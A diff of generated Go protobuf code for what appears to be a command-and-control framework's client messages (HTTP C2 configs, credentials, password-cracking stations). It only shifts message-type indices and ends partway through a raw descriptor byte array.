+ mi := &file_clientpb_client_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8051,7 +8534,7 @@ func (x *HTTPC2ServerConfig) String() string { func (*HTTPC2ServerConfig) ProtoMessage() {} func (x *HTTPC2ServerConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8064,7 +8547,7 @@ func (x *HTTPC2ServerConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2ServerConfig.ProtoReflect.Descriptor instead. func (*HTTPC2ServerConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{93} + return file_clientpb_client_proto_rawDescGZIP(), []int{99} } func (x *HTTPC2ServerConfig) GetID() string { @@ -8122,7 +8605,7 @@ type HTTPC2ImplantConfig struct { func (x *HTTPC2ImplantConfig) Reset() { *x = HTTPC2ImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8135,7 +8618,7 @@ func (x *HTTPC2ImplantConfig) String() string { func (*HTTPC2ImplantConfig) ProtoMessage() {} func (x *HTTPC2ImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8148,7 +8631,7 @@ func (x *HTTPC2ImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2ImplantConfig.ProtoReflect.Descriptor instead. func (*HTTPC2ImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{94} + return file_clientpb_client_proto_rawDescGZIP(), []int{100} } func (x *HTTPC2ImplantConfig) GetID() string { @@ -8282,7 +8765,7 @@ type HTTPC2Cookie struct { func (x *HTTPC2Cookie) Reset() { *x = HTTPC2Cookie{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8295,7 +8778,7 @@ func (x *HTTPC2Cookie) String() string { func (*HTTPC2Cookie) ProtoMessage() {} func (x *HTTPC2Cookie) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8308,7 +8791,7 @@ func (x *HTTPC2Cookie) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2Cookie.ProtoReflect.Descriptor instead. func (*HTTPC2Cookie) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{95} + return file_clientpb_client_proto_rawDescGZIP(), []int{101} } func (x *HTTPC2Cookie) GetID() string { @@ -8340,7 +8823,7 @@ type HTTPC2Header struct { func (x *HTTPC2Header) Reset() { *x = HTTPC2Header{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8353,7 +8836,7 @@ func (x *HTTPC2Header) String() string { func (*HTTPC2Header) ProtoMessage() {} func (x *HTTPC2Header) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8366,7 +8849,7 @@ func (x *HTTPC2Header) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2Header.ProtoReflect.Descriptor instead. func (*HTTPC2Header) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{96} + return file_clientpb_client_proto_rawDescGZIP(), []int{102} } func (x *HTTPC2Header) GetID() string { @@ -8419,7 +8902,7 @@ type HTTPC2URLParameter struct { func (x *HTTPC2URLParameter) Reset() { *x = HTTPC2URLParameter{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8432,7 +8915,7 @@ func (x *HTTPC2URLParameter) String() string { func (*HTTPC2URLParameter) ProtoMessage() {} func (x *HTTPC2URLParameter) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8445,7 +8928,7 @@ func (x *HTTPC2URLParameter) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2URLParameter.ProtoReflect.Descriptor instead. func (*HTTPC2URLParameter) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{97} + return file_clientpb_client_proto_rawDescGZIP(), []int{103} } func (x *HTTPC2URLParameter) GetID() string { @@ -8497,7 +8980,7 @@ type HTTPC2PathSegment struct { func (x *HTTPC2PathSegment) Reset() { *x = HTTPC2PathSegment{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8510,7 +8993,7 @@ func (x *HTTPC2PathSegment) String() string { func (*HTTPC2PathSegment) ProtoMessage() {} func (x *HTTPC2PathSegment) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8523,7 +9006,7 @@ func (x *HTTPC2PathSegment) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2PathSegment.ProtoReflect.Descriptor instead. func (*HTTPC2PathSegment) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{98} + return file_clientpb_client_proto_rawDescGZIP(), []int{104} } func (x *HTTPC2PathSegment) GetID() string { @@ -8572,7 +9055,7 @@ type Credential struct { func (x *Credential) Reset() { *x = Credential{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8585,7 +9068,7 @@ func (x *Credential) String() string { func (*Credential) ProtoMessage() {} func (x *Credential) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8598,7 +9081,7 @@ func (x *Credential) ProtoReflect() protoreflect.Message { // Deprecated: Use Credential.ProtoReflect.Descriptor instead. func (*Credential) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{99} + return file_clientpb_client_proto_rawDescGZIP(), []int{105} } func (x *Credential) GetID() string { @@ -8668,7 +9151,7 @@ type Credentials struct { func (x *Credentials) Reset() { *x = Credentials{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8681,7 +9164,7 @@ func (x *Credentials) String() string { func (*Credentials) ProtoMessage() {} func (x *Credentials) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8694,7 +9177,7 @@ func (x *Credentials) ProtoReflect() protoreflect.Message { // Deprecated: Use Credentials.ProtoReflect.Descriptor instead. func (*Credentials) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{100} + return file_clientpb_client_proto_rawDescGZIP(), []int{106} } func (x *Credentials) GetCredentials() []*Credential { @@ -8716,7 +9199,7 @@ type Crackstations struct { func (x *Crackstations) Reset() { *x = Crackstations{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8729,7 +9212,7 @@ func (x *Crackstations) String() string { func (*Crackstations) ProtoMessage() {} func (x *Crackstations) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8742,7 +9225,7 @@ func (x *Crackstations) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstations.ProtoReflect.Descriptor instead. func (*Crackstations) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{101} + return file_clientpb_client_proto_rawDescGZIP(), []int{107} } func (x *Crackstations) GetCrackstations() []*Crackstation { @@ -8768,7 +9251,7 @@ type CrackstationStatus struct { func (x *CrackstationStatus) Reset() { *x = CrackstationStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8781,7 +9264,7 @@ func (x *CrackstationStatus) String() string { func (*CrackstationStatus) ProtoMessage() {} func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8794,7 +9277,7 @@ func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackstationStatus.ProtoReflect.Descriptor instead. func (*CrackstationStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{102} + return file_clientpb_client_proto_rawDescGZIP(), []int{108} } func (x *CrackstationStatus) GetName() string { @@ -8851,7 +9334,7 @@ type CrackSyncStatus struct { func (x *CrackSyncStatus) Reset() { *x = CrackSyncStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[103] + mi := &file_clientpb_client_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8864,7 +9347,7 @@ func (x *CrackSyncStatus) String() string { func (*CrackSyncStatus) ProtoMessage() {} func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[103] + mi := &file_clientpb_client_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8877,7 +9360,7 @@ func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackSyncStatus.ProtoReflect.Descriptor instead. func (*CrackSyncStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{103} + return file_clientpb_client_proto_rawDescGZIP(), []int{109} } func (x *CrackSyncStatus) GetSpeed() float32 { @@ -8907,7 +9390,7 @@ type CrackBenchmark struct { func (x *CrackBenchmark) Reset() { *x = CrackBenchmark{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[104] + mi := &file_clientpb_client_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8920,7 +9403,7 @@ func (x *CrackBenchmark) String() string { func (*CrackBenchmark) ProtoMessage() {} func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[104] + mi := &file_clientpb_client_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8933,7 +9416,7 @@ func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackBenchmark.ProtoReflect.Descriptor instead. func (*CrackBenchmark) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{104} + return file_clientpb_client_proto_rawDescGZIP(), []int{110} } func (x *CrackBenchmark) GetName() string { @@ -8974,7 +9457,7 @@ type CrackTask struct { func (x *CrackTask) Reset() { *x = CrackTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[105] + mi := &file_clientpb_client_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8987,7 +9470,7 @@ func (x *CrackTask) String() string { func (*CrackTask) ProtoMessage() {} func (x *CrackTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[105] + mi := &file_clientpb_client_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9000,7 +9483,7 @@ func (x *CrackTask) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackTask.ProtoReflect.Descriptor instead. func (*CrackTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{105} + return file_clientpb_client_proto_rawDescGZIP(), []int{111} } func (x *CrackTask) GetID() string { @@ -9074,7 +9557,7 @@ type Crackstation struct { func (x *Crackstation) Reset() { *x = Crackstation{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[106] + mi := &file_clientpb_client_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9087,7 +9570,7 @@ func (x *Crackstation) String() string { func (*Crackstation) ProtoMessage() {} func (x *Crackstation) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[106] + mi := &file_clientpb_client_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9100,7 +9583,7 @@ func (x *Crackstation) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstation.ProtoReflect.Descriptor instead. func (*Crackstation) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{106} + return file_clientpb_client_proto_rawDescGZIP(), []int{112} } func (x *Crackstation) GetID() string { @@ -9207,7 +9690,7 @@ type CUDABackendInfo struct { func (x *CUDABackendInfo) Reset() { *x = CUDABackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[107] + mi := &file_clientpb_client_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9220,7 +9703,7 @@ func (x *CUDABackendInfo) String() string { func (*CUDABackendInfo) ProtoMessage() {} func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[107] + mi := &file_clientpb_client_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9233,7 +9716,7 @@ func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use CUDABackendInfo.ProtoReflect.Descriptor instead. func (*CUDABackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{107} + return file_clientpb_client_proto_rawDescGZIP(), []int{113} } func (x *CUDABackendInfo) GetType() string { @@ -9327,7 +9810,7 @@ type OpenCLBackendInfo struct { func (x *OpenCLBackendInfo) Reset() { *x = OpenCLBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[108] + mi := &file_clientpb_client_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9340,7 +9823,7 @@ func (x *OpenCLBackendInfo) String() string { func (*OpenCLBackendInfo) ProtoMessage() {} func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[108] + mi := &file_clientpb_client_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9353,7 +9836,7 @@ func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenCLBackendInfo.ProtoReflect.Descriptor instead. func (*OpenCLBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{108} + return file_clientpb_client_proto_rawDescGZIP(), []int{114} } func (x *OpenCLBackendInfo) GetType() string { @@ -9453,7 +9936,7 @@ type MetalBackendInfo struct { func (x *MetalBackendInfo) Reset() { *x = MetalBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[109] + mi := &file_clientpb_client_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9466,7 +9949,7 @@ func (x *MetalBackendInfo) String() string { func (*MetalBackendInfo) ProtoMessage() {} func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[109] + mi := &file_clientpb_client_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9479,7 +9962,7 @@ func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use MetalBackendInfo.ProtoReflect.Descriptor instead. func (*MetalBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{109} + return file_clientpb_client_proto_rawDescGZIP(), []int{115} } func (x *MetalBackendInfo) GetType() string { @@ -9677,7 +10160,7 @@ type CrackCommand struct { func (x *CrackCommand) Reset() { *x = CrackCommand{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[110] + mi := &file_clientpb_client_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9690,7 +10173,7 @@ func (x *CrackCommand) String() string { func (*CrackCommand) ProtoMessage() {} func (x *CrackCommand) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[110] + mi := &file_clientpb_client_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9703,7 +10186,7 @@ func (x *CrackCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackCommand.ProtoReflect.Descriptor instead. func (*CrackCommand) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{110} + return file_clientpb_client_proto_rawDescGZIP(), []int{116} } func (x *CrackCommand) GetAttackMode() CrackAttackMode { @@ -10434,7 +10917,7 @@ type CrackConfig struct { func (x *CrackConfig) Reset() { *x = CrackConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[111] + mi := &file_clientpb_client_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10447,7 +10930,7 @@ func (x *CrackConfig) String() string { func (*CrackConfig) ProtoMessage() {} func (x *CrackConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[111] + mi := &file_clientpb_client_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10460,7 +10943,7 @@ func (x *CrackConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackConfig.ProtoReflect.Descriptor instead. func (*CrackConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{111} + return file_clientpb_client_proto_rawDescGZIP(), []int{117} } func (x *CrackConfig) GetAutoFire() bool { @@ -10504,7 +10987,7 @@ type CrackFiles struct { func (x *CrackFiles) Reset() { *x = CrackFiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[112] + mi := &file_clientpb_client_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10517,7 +11000,7 @@ func (x *CrackFiles) String() string { func (*CrackFiles) ProtoMessage() {} func (x *CrackFiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[112] + mi := &file_clientpb_client_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10530,7 +11013,7 @@ func (x *CrackFiles) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFiles.ProtoReflect.Descriptor instead. func (*CrackFiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{112} + return file_clientpb_client_proto_rawDescGZIP(), []int{118} } func (x *CrackFiles) GetFiles() []*CrackFile { @@ -10575,7 +11058,7 @@ type CrackFile struct { func (x *CrackFile) Reset() { *x = CrackFile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[113] + mi := &file_clientpb_client_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10588,7 +11071,7 @@ func (x *CrackFile) String() string { func (*CrackFile) ProtoMessage() {} func (x *CrackFile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[113] + mi := &file_clientpb_client_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10601,7 +11084,7 @@ func (x *CrackFile) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFile.ProtoReflect.Descriptor instead. func (*CrackFile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{113} + return file_clientpb_client_proto_rawDescGZIP(), []int{119} } func (x *CrackFile) GetID() string { @@ -10695,7 +11178,7 @@ type CrackFileChunk struct { func (x *CrackFileChunk) Reset() { *x = CrackFileChunk{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[114] + mi := &file_clientpb_client_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10708,7 +11191,7 @@ func (x *CrackFileChunk) String() string { func (*CrackFileChunk) ProtoMessage() {} func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[114] + mi := &file_clientpb_client_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10721,7 +11204,7 @@ func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFileChunk.ProtoReflect.Descriptor instead. func (*CrackFileChunk) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{114} + return file_clientpb_client_proto_rawDescGZIP(), []int{120} } func (x *CrackFileChunk) GetID() string { @@ -10764,7 +11247,7 @@ type MonitoringProviders struct { func (x *MonitoringProviders) Reset() { *x = MonitoringProviders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[115] + mi := &file_clientpb_client_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10777,7 +11260,7 @@ func (x *MonitoringProviders) String() string { func (*MonitoringProviders) ProtoMessage() {} func (x *MonitoringProviders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[115] + mi := &file_clientpb_client_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10790,7 +11273,7 @@ func (x *MonitoringProviders) ProtoReflect() protoreflect.Message { // Deprecated: Use MonitoringProviders.ProtoReflect.Descriptor instead. func (*MonitoringProviders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{115} + return file_clientpb_client_proto_rawDescGZIP(), []int{121} } func (x *MonitoringProviders) GetProviders() []*MonitoringProvider { @@ -10814,7 +11297,7 @@ type MonitoringProvider struct { func (x *MonitoringProvider) Reset() { *x = MonitoringProvider{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[116] + mi := &file_clientpb_client_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10827,7 +11310,7 @@ func (x *MonitoringProvider) String() string { func (*MonitoringProvider) ProtoMessage() {} func (x *MonitoringProvider) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[116] + mi := &file_clientpb_client_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10840,7 +11323,7 @@ func (x *MonitoringProvider) ProtoReflect() protoreflect.Message { // Deprecated: Use MonitoringProvider.ProtoReflect.Descriptor instead. func (*MonitoringProvider) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{116} + return file_clientpb_client_proto_rawDescGZIP(), []int{122} } func (x *MonitoringProvider) GetID() string { @@ -10886,7 +11369,7 @@ type ResourceID struct { func (x *ResourceID) Reset() { *x = ResourceID{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[117] + mi := &file_clientpb_client_proto_msgTypes[123] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10899,7 +11382,7 @@ func (x *ResourceID) String() string { func (*ResourceID) ProtoMessage() {} func (x *ResourceID) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[117] + mi := &file_clientpb_client_proto_msgTypes[123] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10912,7 +11395,7 @@ func (x *ResourceID) ProtoReflect() protoreflect.Message { // Deprecated: Use ResourceID.ProtoReflect.Descriptor instead. func (*ResourceID) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{117} + return file_clientpb_client_proto_rawDescGZIP(), []int{123} } func (x *ResourceID) GetID() string { @@ -10961,1739 +11444,1806 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 